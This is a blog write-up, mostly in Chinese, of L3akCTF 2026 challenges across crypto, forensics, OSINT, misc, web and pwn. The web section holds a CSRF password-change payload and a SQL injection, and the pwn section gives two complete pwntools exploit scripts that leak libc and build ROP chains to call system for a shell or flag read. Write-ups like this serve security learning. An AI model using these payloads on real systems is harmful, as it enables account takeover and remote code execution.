Skip to main content
  1. Posts/

L3akCTF 2026

··4988 words

我好…怠惰…為什麼要…打CTF….

image

然後發現最痛苦的是寫Writeup

Beginner #

Sanity Check #

image

flag
L3AK{w3LCom3_t0_L3AKCTF_2026_H4pPy_H@cK1nG!}

BabyLCG #

import os
FLAG = b"L3AK{??????????????????????????}"
class LCG:
    def __init__(self, m):
        self.a = int.from_bytes(os.urandom(16), "big") % m
        self.c = int.from_bytes(os.urandom(16), "big") % m
        self.state = int.from_bytes(os.urandom(16), "big") % m
        self.m = m
    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state
m = 115792089237316195423570985008687907853269984665640564039457584007913129640233
rng = LCG(m)
s0 = rng.next()
s1 = rng.next()
s2 = rng.next()
key = rng.next()
flag_int = int.from_bytes(FLAG, "big")
ciphertext = flag_int ^ key
print(f"m = {m}")
print(f"s0 = {s0}")
print(f"s1 = {s1}")
print(f"s2 = {s2}")
print(f"ct = {ciphertext}")

s2 − s1 = a·(s1 − s0) mod m → a = (s2−s1)·(s1−s0)⁻¹ mod m
c = s1 − a·s0 mod m
key = a·s2 + c mod m
flag = ct ⊕ key
gcd(s1−s0, m) = 1
所以反元素直接存在,不管 m 是否為質數

  • a = 61922762077714954724422339487460325520
  • c = 268484757612868661764668536000873505602
import os
m = 88044978735773602913395349457408066612245192322881563734438993831688084200491
s0 = 4452065008288242560629390669208864932242141417756588067313178112477164149842
s1 = 30356301725547557665274966292036883630163427635439138410477840356169747135880
s2 = 33330863090985168864945055645699247424789280002692545918305324950320521259312
ct = 8850041716144071587274828779665113489634774808247082181515445941038495956603515

a = (s2 - s1) * pow(s1 - s0, -1, m) % m
c = (s1 - a * s0) % m
key = (a*s2 + c) % m
flag_int = ct ^ key

flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
print(flag.decode('utf-8'))
flag
L3AK{n3v3r_trU5t_b4s1c_LCG5_frfr}

me fr #

Jo! Sp O was tjomlomg/// tu[omg os kist sp jard mpwadaus! :pplomg at upir jamds wjo;e upi tu[e os omfiroatomg. Amuwaus. jeres tje f;ag" :3AL}WJU+D-+1+dP+TJ1S+s-+-f83M///|

每個字都是鍵盤往右一個字,所以要往左對照回去
J -> H
o -> I
所以會變成

Hi! So I was thinking... typing is just so hard nowadays! Looking at your hands while you type is infuriating, Anyways, heres the flag:L3AK{WHY_D0_1_dO_TH1S_s0_0f73N...}
flag
L3AK{WHY_D0_1_dO_TH1S_s0_0f73N...}

Crossroads #

image

看到電話 可以查到這個
image

是一個賣地的所以可以看到他大概的位置 在愛達荷州
image

沿著那邊找可以在google發現一個很類似的十字路口
image

確定地點
image

好欸!對了
image

flag
L3AK{S1gNs_M4k3_051Nt_RaTh3R_SimPLE!}

Get The Flag #

/flag 只有 role === "admin" 才看得到
有一個 admin bot 會登入成 admin 並訪問我提交的 /pages/... 頁面

然後他只會在 POST 時檢查 token

function csrfOnPostOnly(req, res, next) {
  if (req.method !== "POST") return next();   
  if (!req.body.csrf || req.body.csrf !== req.session.csrf) return res.status(403)...
  next();
}

所以改密碼的 handler 同時接受 GET 與 POST

app.all("/account/change-password", requireLogin, csrfOnPostOnly, (req, res) => {
  ...
  changePassword(req.session.userId, password);   // 用「當前登入者」= admin 的 session
});

所以可以用 /pages/upload 上傳這個

<form id="f" method="POST" action="/account/change-password?_method=GET">
  <input type="hidden" name="password" value="Pwned_by_ctf_123">
  <input type="hidden" name="confirm"  value="Pwned_by_ctf_123">
</form>
<script>document.forms[0].submit();</script>

把回傳的 /pages/<uuid>.html 丟到 /report
 bot 以 admin 身份訪問,就會把他的密碼改成 Pwned_by_ctf_123

image

flag
L3AK{Me7hod_oV3rrid3_c5Rf_Byp45s_g0_BrRRR}

Transcendent Renovation #

Yesterday I got on my computer and noticed a folder I’ve never seen before, NoNeedToWonder. Naturally, I started to wonder. Can you answer some questions about where it came from? All I have is the Jump Lists.

項目說明
路徑%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\
檔名<AppID>.automaticDestinations-ms,AppID 是應用程式路徑的 hash
容器格式OLE Compound File (OLE CF / CFB),magic D0 CF 11 E0 A1 B1 1A E1
內容每個 stream 是一個完整 LNK,stream 名稱是十六進位的 entry ID
DestList streamMRU 清單:entry ID、最後存取時間 (FILETIME)、hostname、Droid GUID、目標路徑

OLE 複合文件的 stream 大小只增不減。資料夾改名後,Explorer 用一個較短的新 LNK 從 offset 0 覆寫舊 stream,但 directory entry 的 size 欄位不變,於是舊 LNK 的尾段原封不動留在後面。

stream 46 (867 bytes)
├─ 0x000 ─ 0x1EE   新 LNK (494 B)  → "NoNeedToWonder"
└─ 0x1EF ─ 0x362   SLACK  (373 B)  → "SoulSearch"   ← 舊 LNK 殘骸

判斷 slack 的方法:完整走過 LNK 結構算出真正結尾,剩下的就是 slack。

def lnk_end(data):
    hs,    = struct.unpack_from('<I', data, 0)   # HeaderSize = 0x4C
    flags, = struct.unpack_from('<I', data, 20)  # LinkFlags
    off = hs
    if flags & 1:                                 # HasLinkTargetIDList
        n, = struct.unpack_from('<H', data, off); off += 2 + n
    if flags & 2:                                 # HasLinkInfo
        n, = struct.unpack_from('<I', data, off); off += n
    uni = bool(flags & 0x80)                      # IsUnicode
    for bit in (4, 8, 16, 32, 64):                # Name/RelPath/WorkDir/Args/Icon
        if flags & bit:
            cc, = struct.unpack_from('<H', data, off)
            off += 2 + (cc * 2 if uni else cc)
    while off < len(data) - 3:                    # ExtraData blocks
        b, = struct.unpack_from('<I', data, off)
        if b < 4: break
        off += b
    return off + 4                                # TerminalBlock

先拆 OLE 容器

import olefile
ole = olefile.OleFileIO('f01b4d95cf55d32a.automaticDestinations-ms')
for e in ole.listdir():
    open('/'.join(e), 'wb').write(ole.openstream('/'.join(e)).read())

解析 DestList,鎖定 2026 年的異常紀錄

Offset內容
0x08DroidVolumeId (16B)
0x18DroidFileId (16B)
0x48Hostname (16B ASCII)
0x58Entry ID (u32) → stream 名稱的十六進位
0x64最後存取 FILETIME
0x80路徑字串長度 (u16, 字元數)
0x82路徑 (UTF-16LE)
id=70 (0x46)  00:30:15.433  logging-vm  C:\Users\Administrator\Desktop\NoNeedToWonder
id=69 (0x45)  00:30:15.397  (空)        \\tsclient\HauntedHouse
id=68 (0x44)  00:24:54.414  logging-vm  C:\Users\Administrator\Desktop\The Intelligence
id=67 (0x43)  00:20:28.263  logging-vm  C:\Users\Administrator\Desktop\Voices
id=66 (0x42)  00:19:46.244  logging-vm  C:\Users\Administrator\Desktop\L3AK

70 = 0x46 → 目標是 stream 46

挖 slack,還原原始名稱

stream 46 @ 0x21B  53 00 6f 00 75 00 6c 00 53 00 65 00 61 00 72 00 63 00 68 00
                   S  o  u  l  S  e  a  r  c  h              (UTF-16LE)
stream 46 @ 0x281  "C:\Users\Administrator\Desktop\SoulSearch"   (ANSI, LinkInfo)
現名原名MFT entry/seq
L3AKNew folder89724 / 16
VoicesGhosts148803 / 10
The IntelligenceArtificial Intelligence148806 / 11
NoNeedToWonderSoulSearch148809 / 11
證明他們本來是同一個資料夾但是改了名,而不是兩個不同的資料夾
TrackerDataBlock 的 DroidFileId 相同
新 LNK  @0x148  52 b9 2a ec 4d 7e f1 11 89 ad a2 de ad 78 52 ad
slack   @0x2BD  52 b9 2a ec 4d 7e f1 11 89 ad a2 de ad 78 52 ad

轉 GUID:{EC2AB952-7E4D-11F1-89AD-A2DEAD7852AD}

Shell item BEEF0004 擴充區塊的 NTFS file reference 相同
BEEF0004 v≥7 在 offset 0x14 有 8 bytes 的 MFT reference

49 45 02 00 00 00  0b 00   →  entry 0x24549 = 148809, seq 11

新舊兩份都是 148809/11。ObjectID 與 MFT entry 在改名時都不變 → 同一個 NTFS 物件

\\tsclient\HauntedHouse = RDP 用戶端磁碟重導向。stream 45 的佐證:

  • LinkInfo 為 network 型別,netname = \\TSCLIENT\HAUNTEDHOUSE
  • Shell item 標示 provider “Microsoft Terminal Services”
  • 沒有 TrackerDataBlock、DestList 的 Droid 欄位全 0 → 非本機 NTFS 物件
  • 屬性 0x10(目錄),首次存取 00:28:16

36 毫秒內的複製軌跡

00:30:15.397   \\tsclient\HauntedHouse                        ← 來源
00:30:15.414   knownfolder:{754AC886-...}  = This PC          ← 中繼
00:30:15.433   C:\Users\Administrator\Desktop\NoNeedToWonder  ← 目的地

推論:用非 Windows 的 RDP client(mstsc 預設重導向為 \\tsclient\C,自訂共用名是 FreeRDP /drive:HauntedHouse,<path> 或 rdesktop -r disk: 的特徵)連進 logging-vm,把自己端的目錄掛進來後複製到 Desktop,再改名。

UTC。由 zip 內的本地時間反推時區為 UTC-5,當地時間是 2026-07-12 傍晚。

00:14:48  建立 "New folder"
00:19:07  建立 Waves.txt
00:19:46  改名 → "L3AK";Notepad++ 開啟 L3AK\Waves.txt
00:19:55  建立 "Ghosts"
00:20:28  改名 → "Voices"
00:21:39  建立 "Artificial Intelligence"
00:24:15  建立 "Obvious, All Too Obvious.txt"
00:24:54  改名 → "The Intelligence";Notepad++ 開啟該 txt
00:28:16  首次存取 \\tsclient\HauntedHouse
00:30:10  建立 "SoulSearch"
00:30:15  HauntedHouse → This PC → NoNeedToWonder(複製並改名)

image

flag
L3AK{P4r4n0rm4l_P4r4ll3l_P47h5}

BabyRF #

#片段驗證方式
1L3AK{4uD10_倒放語音逐字:L, 3, A, K, open brace, 4, lowercase u, D, 1, 0, underscore
2S1gNaL_唸出 N S L 1 _ a g,用頻譜圖數字 3051642 當位置索引重排
3Pr0C3sS1Ng_頻譜圖倒放文字,逐字放大確認字高:P(大) r(小) 0 C 3 s(小) S(大) 1 N g(有下降部)
4R3QU1RES_摩斯:.-. / ...-- / --.- / ..- / .---- / .-. / . / ... / ..--.-
531337_超音波帶 25.5–34 kHz 頻譜圖文字
65K1LLs}結尾 4 倍加速語音:「Flag part 6: 5K1LL lowercase s close brace」
flag
L3AK{4uD10_S1gNaL_Pr0C3sS1Ng_R3QU1RES_31337_5K1LLs}

Cryptography #

RSA Eclipse #

p、q 選在 Mersenne 數附近,使得 N 的位元表示洩漏了 a·b 與 b,可直接讀出因式分解

p 是 607 bits、q 是 521 bits,這兩個數字都是 Mersenne 質數的指數,因為 2^607−1、2^521−1 都是質數
假設 p = 2^607 − aq = 2^521 − b,則:
N = 2^1128 − b·2^607 − a·2^521 + a·b
因為a·b 遠小於 2^607
N mod 2^521 = a·b –> a·b = 0x4ab2db = 4895451
D = 2^1128 − ND >> 607 –> b = 1749
a = 4895451 / 1749 = 2799

驗證

p = 2^607 − 2799
q = 2^521 − 1749
p × q == N 
E1, E2 = 607, 521            # Mersenne 質數指數 (2^607-1、2^521-1 皆為質數)
e = 65537
 
N = 3646154850295011369707131011438711095400799139943170490872585628683549034362552065955809589514611470241298944167703929337528884908857116141935206466329730159085752668345654509936331954688615906022854023944431613697568688287347119236246668637626142345227229770764648063010195138432756035056498879142322827510772511775252426866445166513402587
 
c = 780130031328740731381241557377666116541606927063190613432095157294666504313173452612933931946256744751393203553303107662811734383338538890681670111946446558821571739189651457249936740715582882116998037215610749746023669674781060263244524001085422362588029607510686099014625329616764965784356054346294224270468618614209000880981745855992958
 
def factor(N, E1, E2):
    assert N.bit_length() == E1 + E2
 
    ab = N % (1 << E2)          # 低 E2 位 = a*b
    D = (1 << (E1 + E2)) - N    # 補數
    b = D >> E1                 # 高位 = b
    assert b > 0
 
    a, r = divmod(ab, b)
    assert r == 0
 
    p = (1 << E1) - a
    q = (1 << E2) - b
    assert p * q == N
    return p, q, a, b
 
 
def decrypt(c, e, p, q, N):
    d = pow(e, -1, (p - 1) * (q - 1))
    m = pow(c, d, N)
    return m.to_bytes((m.bit_length() + 7) // 8, "big")
 
 
if __name__ == "__main__":
    p, q, a, b = factor(N, E1, E2)
 
    print(f"[+] a = {a}   (0x{a:x})")
    print(f"[+] b = {b}   (0x{b:x})")
    print(f"[+] p = 2^{E1} - {a}   ({p.bit_length()} bits)")
    print(f"[+] q = 2^{E2} - {b}   ({q.bit_length()} bits)")
    print("[+] p * q == N  ✓")
 
    flag = decrypt(c, e, p, q, N)
    print(f"[*] flag: {flag.decode(errors='replace')}")

image

flag
L3AK{Th3_P3numbr4_H1d35_Th3_Fl4w_In_Th3_Mers3nne_V01d}

Immiscible #

import json, hashlib, sys, time
import numpy as np

P, V, O, M, N = 79, 4, 4, 9, 8
BASE = sys.argv[1] if len(sys.argv) > 1 else "crypto_immiscible"
V0RANGE = [int(x) for x in sys.argv[2].split(",")] if len(sys.argv) > 2 else list(range(P))
pub = json.load(open(BASE + "/public.json"))
polys = pub["polynomials"]
target_l = pub["target"]

I32 = np.int32
const = np.array([p["const"] for p in polys], dtype=I32)
lin   = np.array([p["linear"] for p in polys], dtype=I32)          # (9,8)
Qvv = np.zeros((M, V, V), dtype=I32)
Qvo = np.zeros((M, V, O), dtype=I32)
for k, p in enumerate(polys):
    for i, j, c in p["quad"]:
        if j < V: Qvv[k, i, j] = c
        else:     Qvo[k, i, j - V] = c

linV = np.ascontiguousarray(lin[:, :V])
linO = np.ascontiguousarray(lin[:, V:])
tgt  = np.array(target_l, dtype=I32)[:, None]
cst  = const[:, None]


def eval_public(x):
    """same as chal.py eval_public"""
    out = []
    for p in polys:
        t = p["const"]
        for i, c in enumerate(p["linear"]): t += c * x[i]
        for i, j, c in p["quad"]:           t += c * x[i] * x[j]
        out.append(t % P)
    return out


def build(Vm):
    """Vm: (4,L) vinegar values -> A (9,4,L), b (9,L) with A(v).o = b(v)"""
    tmp  = np.einsum('kij,il->kjl', Qvv, Vm) % P
    quad = np.einsum('kjl,jl->kl', tmp, Vm) % P
    del tmp
    linp = np.einsum('ki,il->kl', linV, Vm) % P
    b = (tgt - cst - linp - quad) % P
    A = (linO[:, :, None] + np.einsum('kij,il->kjl', Qvo, Vm)) % P
    return A, b


PAIRS = [((0,1),(2,3), 1), ((0,2),(1,3),-1), ((0,3),(1,2), 1),
         ((1,2),(0,3), 1), ((1,3),(0,2),-1), ((2,3),(0,1), 1)]


def det4(Mt):
    """Mt[t][j]: 4x4 of arrays. Laplace on rows {0,1}. int32-safe, one mod."""
    def m2(t0, t1, a, b): return Mt[t0][a]*Mt[t1][b] - Mt[t0][b]*Mt[t1][a]
    tot = None
    for (a, b), (c, e), s in PAIRS:
        t = m2(0, 1, a, b) * m2(2, 3, c, e)
        tot = (s*t) if tot is None else (tot + t if s > 0 else tot - t)
    return tot % P


def pass_rowset(A, b, rowset):
    """Cramer on `rowset`, check the other 5 rows. -> (candidates, singular)"""
    r = list(rowset)
    D = det4([[A[r[t], j] for j in range(4)] for t in range(4)])
    Ns = [det4([[(b[r[t]] if j == j0 else A[r[t], j]) for j in range(4)]
                for t in range(4)]) for j0 in range(4)]
    mask = D != 0
    for k in range(M):
        if k in rowset: continue
        lhs = A[k,0]*Ns[0] + A[k,1]*Ns[1] + A[k,2]*Ns[2] + A[k,3]*Ns[3] - b[k]*D
        mask &= (lhs % P == 0)
        if not mask.any(): break
    return np.nonzero(mask)[0], np.nonzero(D == 0)[0]


def solve_exact(v):
    """exact mod-p gaussian elimination for one vinegar vector"""
    rows = []
    for k, p in enumerate(polys):
        c = p["const"]
        for i in range(V): c += p["linear"][i] * v[i]
        coef = [p["linear"][V + j] for j in range(O)]
        for i, j, cc in p["quad"]:
            if j < V: c += cc * v[i] * v[j]
            else:     coef[j - V] += cc * v[i]
        rows.append([x % P for x in coef] + [(target_l[k] - c) % P])
    piv, where = 0, []
    for col in range(O):
        sel = next((r for r in range(piv, M) if rows[r][col]), None)
        if sel is None:
            where.append(-1); continue
        rows[piv], rows[sel] = rows[sel], rows[piv]
        inv = pow(rows[piv][col], P - 2, P)
        rows[piv] = [x * inv % P for x in rows[piv]]
        for r in range(M):
            if r != piv and rows[r][col]:
                f = rows[r][col]
                rows[r] = [(a - f * bb) % P for a, bb in zip(rows[r], rows[piv])]
        where.append(piv); piv += 1
    for r in range(piv, M):
        if rows[r][O]: return []
    if -1 in where:                              # free vars: rare, enumerate
        free = [j for j in range(O) if where[j] == -1]
        sols = []
        for combo in np.ndindex(*[P]*len(free)):
            o = [0]*O
            for f, val in zip(free, combo): o[f] = val
            for j in range(O):
                if where[j] != -1:
                    o[j] = (rows[where[j]][O] - sum(rows[where[j]][jj]*o[jj] for jj in free)) % P
            if eval_public(list(v) + o) == target_l: sols.append(o)
        return sols
    o = [rows[where[j]][O] for j in range(O)]
    return [o] if eval_public(list(v) + o) == target_l else []


# fallback rowsets for the ~1/79 of v where the 4x4 minor is singular
ROWSETS = [(0,1,2,3), (4,5,6,7), (0,2,4,6), (1,3,5,7)]


def search(Vm, depth=0):
    hits = []
    if Vm.shape[1] == 0: return hits
    if depth >= len(ROWSETS) or Vm.shape[1] < 64:
        for idx in range(Vm.shape[1]):
            v = [int(Vm[i, idx]) for i in range(V)]
            hits += [v + o for o in solve_exact(v)]
        return hits
    A, b = build(Vm)
    cand, sing = pass_rowset(A, b, ROWSETS[depth])
    del A, b
    for idx in cand:
        v = [int(Vm[i, idx]) for i in range(V)]
        hits += [v + o for o in solve_exact(v)]
    if len(sing):
        hits += search(np.ascontiguousarray(Vm[:, sing]), depth + 1)
    return hits


def main():
    idx = np.arange(P**3, dtype=I32)
    v1, v2, v3 = idx // (P*P), (idx // P) % P, idx % P
    t0, found = time.time(), []
    for v0 in V0RANGE:
        h = search(np.stack([np.full(P**3, v0, dtype=I32), v1, v2, v3]))
        if h:
            found += h
            print("HIT", h, flush=True)
    print(f"elapsed {time.time()-t0:.1f}s, solutions: {found}")

    from Crypto.Cipher import AES
    ct = bytes.fromhex(pub["encrypted_flag"])
    for sig in found:
        key = hashlib.sha256(bytes(sig)).digest()
        print(sig, "->", AES.new(key, AES.MODE_ECB).decrypt(ct))


if __name__ == "__main__":
    main()

image

flag
L3AK{Oil_4ND_v1N3g4r_WitH0ut_Mix1nG_Sp1LL5_eV3rYth1ng}

Forensics #

You Scanned WHAT?!? #

scan.7z 裡是一個 SQLite 檔,只有一張表:

CREATE TABLE projections (
    angle_degrees INTEGER PRIMARY KEY,
    detector_count INTEGER NOT NULL,
    light_values TEXT NOT NULL
)

180 筆資料(0°–179°),每筆是一組浮點數陣列,是一組斷層掃描投影資料,要用 Radon 逆變換還原原圖
detector_count 隨角度變化:0° → 497、90° → 215、最大 543
W·|cosθ| + H·|sinθ| 推得原圖為 497×215
用 PIL 驗證 Image.new('L',(497,215)).rotate(a, expand=True).size[0],確認前向模型就是旋轉後對每一列求和 ÷ 255

image

flag
L3AK{Xr4Y_C0mp1373!}

Miscellaneous #

Blunder #

games.pgn 裡有 24 局棋,每局白后從第一步落點之後永遠只走一格,走過的格子在 8×8 棋盤上畫出一個字母
把每局白后拜訪過的所有格子標記在棋盤上(檔 a–h 為 x、列 1–8 為 y),每局剛好是一個 5×5 的點陣字母

字母字母字母字母
1H7K13W19E
2A8E14I20Q
3R9E15T21U
4D10P16H22E
5T11U17T23E
6O12P18H24N
flag

L3AK{HARDTOKEEPUPWITHTHEQUEEN}

OSINT #

Overgrown Ruins #

image
image
image

flag
L3AK{D1d_y0U_kNow_th3y_f1lM3D_R0b1N_hOoD_H3r3?_https://movie-locations.com/movies/r/Robin-Hood-Prince-Of-Thieves.php}

Web Exploitation #

catvault - part 1 #

await fetch('/api/settings', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({ user_id: '1 OR 1=1' })
}).then(r => r.json());

image

flag
L3AK{i7_Was_a_Very_e4sY_w3b_ch4l13Ng3_soRrY_7o_boRe_you_4ll_WitH_the_Dumb_PRe7eX7_N0w_6o_so1Ve_7h3_rea1_oNe}

Pwn #

LattiaVM #

import sys, socket, time
from pwn import remote  # optional; falls back to raw socket below

# ---- offsets from the provided libc.so.6 (glibc 2.42) and lattia-vm binary ----
RETADDR_OFF, EXE_LEAK_OFF, BSS_BUF = 0x29f75, 0x3d90, 0x4040
POPRDI_OFF, RET_OFF, SYSTEM_OFF    = 0x2a9b7, 0x2a9b8, 0x54790
d_poprdi, d_system = POPRDI_OFF - RETADDR_OFF, SYSTEM_OFF - RETADDR_OFF
CMD = b"cat /app/fl*\x00"
SPTOP = 300
OPS = "PUSH POP ADD SUB MUL DIV JMP JNE JE JG PRINT DUP SWAP HALT".split()
HAS = {"PUSH","JMP","JNE","JE","JG","SWAP"}

def asm(prog):
    lbl={}; off=0; flat=[]
    for i in prog:
        if i[0]=='L': lbl[i[1]]=off; continue
        flat.append(i); off += 1 + (1 if i[0] in HAS else 0)
    out=bytearray()
    for i in flat:
        out.append(OPS.index(i[0]))
        if i[0] in HAS:
            a=i[1]; a=lbl[a] if isinstance(a,str) else a; out.append(a&0xff)
    return bytes(out)

class B:
    def __init__(s): s.p=[]; s.sp=0
    def E(s,*o,d=0): s.p.append(o); s.sp+=d
    def PUSH(s,v): s.E('PUSH',v&0xff,d=1)
    def DUP(s): s.E('DUP',d=1)
    def ADD(s): s.E('ADD',d=-1)
    def MUL(s): s.E('MUL',d=-1)
    def SWAP(s,n): s.E('SWAP',n)
    def HALT(s): s.E('HALT')
    def LBL(s,n): s.p.append(('L',n))
    def JNE(s,l): s.E('JNE',l,d=-2)
    def mul256(s): s.PUSH(16); s.MUL(); s.PUSH(16); s.MUL()
    def const(s,v):
        if v<256: s.PUSH(v); return
        if v<0x10000:
            s.PUSH((v>>8)&0xff); s.mul256()
            if v&0xff: s.PUSH(v&0xff); s.ADD()
            return
        s.PUSH((v>>16)&0xff); s.mul256()
        if (v>>8)&0xff: s.PUSH((v>>8)&0xff); s.ADD()
        s.mul256()
        if v&0xff: s.PUSH(v&0xff); s.ADD()
    def get(s,i): s.SWAP(s.sp-1-i)
    def put(s,i): s.SWAP(s.sp-1-i)
    def dist(s,leak,tgts):
        s.get(leak)
        for _ in range(len(tgts)-1): s.DUP()
        for k,(i,dl) in enumerate(tgts):
            if k>0: s.SWAP(k)
            if dl is not None: s.const(dl); s.ADD()
            s.put(i)

def build(cmd_delta, K=11, LIMIT=23):
    b=B()
    b.PUSH(0); b.LBL('loop')                      # grow sp -> 254
    for _ in range(K): b.DUP()
    b.PUSH(1); b.ADD(); b.DUP(); b.PUSH(LIMIT); b.JNE('loop')
    b.sp=1+LIMIT*K
    while b.sp<254: b.DUP()
    X=SPTOP-1                                       # sp-alias: set sp -> 300
    p=next(q for q in range(2,256) if X%q==0 and X//q<256)
    b.PUSH(p); b.PUSH(X//p); b.MUL(); b.DUP(); b.DUP(); b.sp=SPTOP
    b.get(262); b.DUP()                             # libc lows: 262/266/268
    b.const(d_poprdi); b.ADD(); b.DUP(); b.put(262)
    b.SWAP(1); b.PUSH(1); b.ADD(); b.put(266)       # ret = pop_rdi+1
    b.SWAP(2); b.const(d_system); b.ADD(); b.put(268)
    b.dist(263, [(263,None),(267,None),(269,None)]) # libc highs
    b.dist(282, [(264,cmd_delta)])                  # exe low  -> cmd .bss ptr
    b.dist(283, [(265,None)])                       # exe high -> cmd high
    b.HALT()
    return b

def payload():
    cd = BSS_BUF + 120 - EXE_LEAK_OFF
    for _ in range(12):
        code = asm(build(cd).p); off=len(code)
        nd = BSS_BUF + off - EXE_LEAK_OFF
        if nd==cd: break
        cd=nd
    full = code + CMD
    assert len(full) <= 128, len(full)
    return full.hex().encode()

def main():
    hx = payload()
    print("[*] payload %d bytes / %d hex chars" % (len(hx)//2, len(hx)))
    print("[*] hex:", hx.decode())
    host = sys.argv[1] if len(sys.argv)>1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv)>2 else 5000
    io = remote(host, port)
    io.recvuntil(b"chars:")
    io.sendline(hx)
    io.recvuntil(b"Goodbye!")
    print(io.recvall(timeout=3).decode(errors="replace"))

if __name__ == "__main__":
    main()

image

flag
L3AK{h3ll000_c4ll1ng_fr0m_50-47714-5-1000_4ny0n3_7h3r3}

Rudimentary Calculator #

import mpmath, bisect, re, sys, time
from pwn import *

context.log_level = "info"
mpmath.mp.dps = 200
PRIMES = [2, 3, 5, 7, 11, 13]
LOGf = {p: float(mpmath.log(p, 2)) for p in PRIMES}

# ---- glibc 2.43 (Ubuntu GLIBC 2.43-2ubuntu2) offsets ----
OFF_LEAK   = 0x8f4bf     # libc offset of the pointer found at product_bignum word 85
OFF_SYSTEM = 0x5c560
OFF_BINSH  = 0x1db799
OFF_POPRDI = 0x11bcfa    # pop rdi ; ret
OFF_RET    = 0x289fe     # ret  (stack alignment)

R1, R2 = 260, 110        # meet-in-the-middle search bounds


def build_list2():
    L7, L11, L13 = LOGf[7], LOGf[11], LOGf[13]
    lst = []
    for c in range(R2):
        cc = c * L7
        for d in range(R2):
            dd = cc + d * L11
            for e in range(R2):
                lst.append(((dd + e * L13) % 1.0, c, d, e))
    lst.sort()
    return lst, [x[0] for x in lst]


def find_exps(T, N, list2, fracs2):
    """prime exponents of a 13-smooth number in [T*2^(32(N-1)), (T+1)*2^(32(N-1)))"""
    B = 1 << (32 * (N - 1))
    lo, hi = T * B, (T + 1) * B
    log_lo = mpmath.log(lo, 2)
    width = float(mpmath.log(hi, 2) - log_lo)
    tfrac = float(log_lo - int(log_lo))
    L3, L5 = LOGf[3], LOGf[5]
    for a in range(R1):
        aa = a * L3
        for b in range(R1):
            need = (tfrac - (aa + b * L5)) % 1.0
            for base in (need, need - 1.0):
                i = bisect.bisect_left(fracs2, base)
                for j in (i, i - 1, i + 1):
                    if 0 <= j < len(fracs2) and base - 1e-13 <= fracs2[j] < base + width + 1e-13:
                        _, c, d, ee = list2[j]
                        Q = 3**a * 5**b * 7**c * 11**d * 13**ee
                        e2 = (lo // Q).bit_length() - 1
                        for de2 in (0, 1, -1, 2, -2, 3, -3):
                            cand = (1 << (e2 + de2)) * Q
                            if lo <= cand < hi:
                                return {2: e2 + de2, 3: a, 5: b, 7: c, 11: d, 13: ee}
    return None


def exps_to_digits(e):
    e = dict(e)
    for p in PRIMES:
        e.setdefault(p, 0)
    d = []
    d += ["b"] * e[11] + ["d"] * e[13]
    k = min(e[3], e[5]); d += ["f"] * k; e[3] -= k; e[5] -= k
    k = min(e[2], e[7]); d += ["e"] * k; e[2] -= k; e[7] -= k
    d += ["7"] * e[7] + ["5"] * e[5] + ["9"] * (e[3] // 2)
    if e[3] % 2: d += ["3"]
    d += ["8"] * (e[2] // 3)
    r = e[2] % 3
    if r == 2: d += ["4"]
    elif r == 1: d += ["2"]
    return d


def word_expr(T, N, list2, fracs2):
    """expression (product of hex digits) whose value is exactly N words, top word == T"""
    e = find_exps(T, N, list2, fracs2)
    assert e is not None, "no smooth product for T=%#x N=%d" % (T, N)
    P = 1
    for p, x in e.items():
        P *= p ** x
    assert (P >> (32 * (N - 1))) & 0xffffffff == T
    assert (P.bit_length() + 31) // 32 == N
    digs = exps_to_digits(e)
    assert len(digs) < 2040
    return "*".join(digs).encode()


def connect_with_banner(target, tries=10):
    """Open the target and wait for the challenge banner, retrying a slow/cold instance."""
    for i in range(tries):
        io = remote(*target, ssl=True) if isinstance(target, tuple) else process(target)
        try:
            data = io.recvuntil(b"expression> ", timeout=8)
            if b"expression> " in data:
                return io
        except EOFError:
            pass
        io.close()
        log.warning("no banner (attempt %d/%d) - instance may be down/starting" % (i + 1, tries))
        time.sleep(3)
    log.error("Server accepts TCP but never sends the banner.\n"
              "    -> The challenge INSTANCE is not serving. On the L3akCTF platform,\n"
              "       (re)launch 'rudimentary-calculator' and use the exact host:port it gives,\n"
              "       then run this again while the instance is alive.")
    sys.exit(1)


def solve(target):
    list2, fracs2 = build_list2()
    io = connect_with_banner(target)

    # ---- leak: force product_bignum_len = 102, multiply the live stack by 15 ----
    io.sendline(b"1*" * 2048 + b"f")
    line = io.recvuntil(b"expression> ", timeout=15)
    V = int(re.search(rb"Result: (\d+)", line).group(1))
    assert V % 15 == 0
    w = [((V // 15) >> (32 * i)) & 0xffffffff for i in range(110)]
    canary_lo, canary_hi = w[97], w[98]
    libc = (w[85] | (w[86] << 32)) - OFF_LEAK
    assert libc & 0xfff == 0, "bad libc base %#x" % libc
    system, binsh, poprdi, retg = (libc + OFF_SYSTEM, libc + OFF_BINSH,
                                   libc + OFF_POPRDI, libc + OFF_RET)
    log.success("canary = %08x%08x" % (canary_hi, canary_lo))
    log.success("libc   = %#x" % libc)

    lo32, hi32 = lambda x: x & 0xffffffff, lambda x: (x >> 32) & 0xffffffff
    words = {                                    # ROP: pop rdi ; "/bin/sh" ; ret ; system
        101: lo32(poprdi), 102: hi32(poprdi),
        103: lo32(binsh),  104: hi32(binsh),
        105: lo32(retg),   106: hi32(retg),
        107: lo32(system), 108: hi32(system),
        97: canary_lo,     98: canary_hi,        # restore the stack canary
    }

    t0 = time.time()
    ops = [(idx, word_expr(words[idx], idx + 1, list2, fracs2))
           for idx in sorted(words, reverse=True)]     # high index first
    log.info("built %d smooth products in %.1fs" % (len(ops), time.time() - t0))

    for _, expr in ops:
        io.sendline(expr)
        io.recvuntil(b"expression> ", timeout=15)

    io.sendline(b"quit")                          # return into the ROP chain
    io.sendline(b"cat flag.txt; cat /flag* 2>/dev/null; echo END___")
    print(io.recvuntil(b"END___", timeout=6).decode(errors="replace"))
    io.interactive()


if __name__ == "__main__":
    if len(sys.argv) >= 3:
        solve((sys.argv[1], int(sys.argv[2])))
    else:
        solve("./chall")

image

flag
L3AK{s3Arch_f0r_Sm0otH}

Result #

image

明年時間多一點再來打,他們的CTFd做得好乾淨舒服,喜歡 (。・ω・。)ノ♡